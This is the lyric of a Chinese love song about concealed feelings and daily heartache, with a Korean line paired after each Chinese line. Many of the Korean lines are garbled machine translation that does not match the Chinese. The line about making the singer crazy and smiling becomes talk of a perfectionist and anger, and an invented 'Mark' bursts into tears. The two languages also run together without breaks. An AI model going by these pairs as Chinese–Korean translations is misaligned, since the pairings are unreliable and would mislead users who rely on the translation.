我心慌慌 眼里簌簌나는 웅성 거린 공황 눈 공황为什么把我的心弄的混乱呢내 마음의 혼란은 그것을 얻을 수 있습니다 이유我独自期待 我独自去爱혼자 내 자신의 사랑을 기대随着时间流逝爱情的痛苦不断增加경시 사랑의 통증 증가와 함께藏的严严实实我的心动摇了내 마음의 소지가 단단히 흔들어藏的严严实实 我坐立不安단단히 난 안절부절 소지你却装作不知道 掩藏着你的心하지만 당신은 당신의 마음을 숨길 모르는 척想要去爱啊 想要和你在一起啊아 사랑하고 싶어 아 당신과 함께 할内心深处藏得严严实实깊은 단단히 안에 숨겨져如同胆小鬼一样你的爱겁쟁이처럼, 당신의 사랑처럼你令我疯狂 又令我展颜당신은 내가 완벽 주의자 나 너무 화가 이루어是不是因为怕受伤 所以才不敢说그것은 말할 수 없다, 그래서 그것 때문에 부상의 두려움이다不要再捉迷藏了숨바꼭질하지 마십시오
似乎能抓到又抓不到 那样的躲藏着잡을 수있을 것와 숨어있는 그런 종류의를 찾을 수 없습니다像个男人一样赶紧说出来 说你爱我남자가 당신이 나를 사랑한다는 말을 서둘러처럼今天也泪如雨下 心里留下的痕迹오늘도 마크는 눈물을 터뜨렸고 내 마음을 왼쪽으로知道因为你 我每天都心如刀绞吗당신과 내가 둘 다 알고 있기 때문에 매일 고통을我陷入爱情 你却装作不知道나는 사랑에 빠지게하지만 당신은 모르는 척很痛 我每天都很痛통증 매일 통증이你令我疯狂 又令我展颜당신은 내가 완벽 주의자 나 너무 화가 이루어是不是因为怕受伤 所以才不敢说그것은 말할 수 없다, 그래서 그것 때문에 부상의 두려움이다不要再捉迷藏了 love me aby숨바꼭질하지 마십시오 love me baby

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